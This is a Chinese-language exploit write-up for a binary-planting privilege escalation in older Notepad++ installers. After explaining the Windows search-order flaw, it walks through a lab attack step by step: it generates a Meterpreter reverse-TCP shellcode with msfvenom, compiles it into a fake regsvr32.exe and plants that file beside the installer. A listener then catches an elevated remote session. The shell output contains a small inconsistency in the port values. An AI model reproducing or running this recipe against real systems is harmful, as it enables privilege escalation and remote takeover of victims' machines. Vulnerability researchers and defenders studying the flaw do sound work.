该漏洞源于安装过程对可执行文件搜索路径的非受控处理:本地攻击者可在与安装程序相同目录放置恶意可执行文件,促使安装程序执行该文件并借此获得系统级权限。

利用原理(操作系统解析规则 × 安装器调用方式)

1) Windows 的可执行解析与搜索顺序
当通过 CreateProcess/ShellExecute仅给出文件名(不带路径)的形式启动子进程时,系统按固定顺序搜索:

  • ① 载入父进程的目录(通常就是安装包所在目录)
  • ② 当前工作目录
  • C:\Windows\System32
  • C:\Windows\System
  • C:\Windows
  • PATH 各目录
    因此,若同名二进制出现在①或②中,将抢先System32 被执行。若命令未写扩展名,还会参考 PATHEXT.COM/.EXE/.BAT 等),进一步扩大被劫持面。这就是所谓 Binary Planting(可执行种植/路径劫持)

2) Notepad++ 安装器的具体失当点
公开分析与通告显示:易受影响版本(≤ v8.8.1)的安装器在卸载/注册壳扩展等步骤中,调用系统二进制时未限定绝对路径(示例:regsvr32 ...),而非明确指向 System32\regsvr32.exe。当安装器位于用户可写目录时,放置同名可执行即可被优先解析执行,子进程直接继承安装器的高完整性令牌(管理员/SYSTEM),形成本地权限提升。厂商在后续版本修复为使用系统目录下的绝对路径或等效安全策略(≥ v8.8.2)。

3) 信任边界为何被跨越

  • 写入权限边界:普通用户可写 Downloads 等目录,但不可写 System32
  • 执行信任边界:安装器被用户/管理员信任并提权运行。
  • 解析时信任传递:父进程以高权限调用“未限定路径”的子进程 → 由解析算法替父进程“选择”了实际可执行。这个“选择”发生在权限已提升之后,因此低权限位置的同名文件可“借壳”获得高权限执行。
  • 签名与来源未强制校验:Windows 默认不对所有子进程强制签名/来源验证(除非启用 WDAC/AppLocker 等策略),这让同名未签名程序有可乘之机。

利用过程

VM KALI:192.168.91.130

VM Windows:192.168.91.144
  1. Meterpreter Shellcode 生成
┌──(root㉿kali)-[/home]
└─# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.91.130 LPORT=8888 -f c > shellcode.txt
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of c file: 2175 bytes

//生成一个 Windows x64 Meterpreter 反弹 TCP shellcode,并以 C 语言数组形式保存到 shellcode.txt。
  1. 下载或创建文件 regsvr32_loader.c(修改 shellcode 部分为你生成的 payload)
┌──(root㉿kali)-[/home]
└─# ls
kali  regsvr32_loader.c  shellcode.txt
  1. 编译加载器
┌──(root㉿kali)-[/home]
└─# x86_64-w64-mingw32-gcc regsvr32_loader.c -o regsvr32.exe -mwindows
  1. 部署 Meterpreter 监听器
msfconsole
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.91.130
LHOST => 192.168.91.130
msf6 exploit(multi/handler) > set LPORT 8888
LPORT => 4444
msf6 exploit(multi/handler) > run
  1. 下载易受攻击的 Notepad++ 版本
  2. 部署恶意程序

在目标机器上,将编译好的 regsvr32.exe 放到 Notepad++ 安装程序所在目录。
接着,运行 Notepad++ 安装程序。

此时会发现KALI终端中已经成功连接

[*] Started reverse TCP handler on 192.168.91.130:8888 
[*] Sending stage (201798 bytes) to 192.168.91.144
[*] Meterpreter session 1 opened (192.168.91.130:8888 -> 192.168.91.144:49702) at 2025-05-14 18:42:17 +0800

meterpreter > pwd
C:\Program Files\Notepad++\contextMenu
PoC 的关键在于旧版本 Notepad++ 或其他有漏洞的软件,在安装过程中可能会从当前目录加载 DLL 或执行同名可执行文件,进而触发生成的 regsvr32.exe,自动执行你的 shellcode。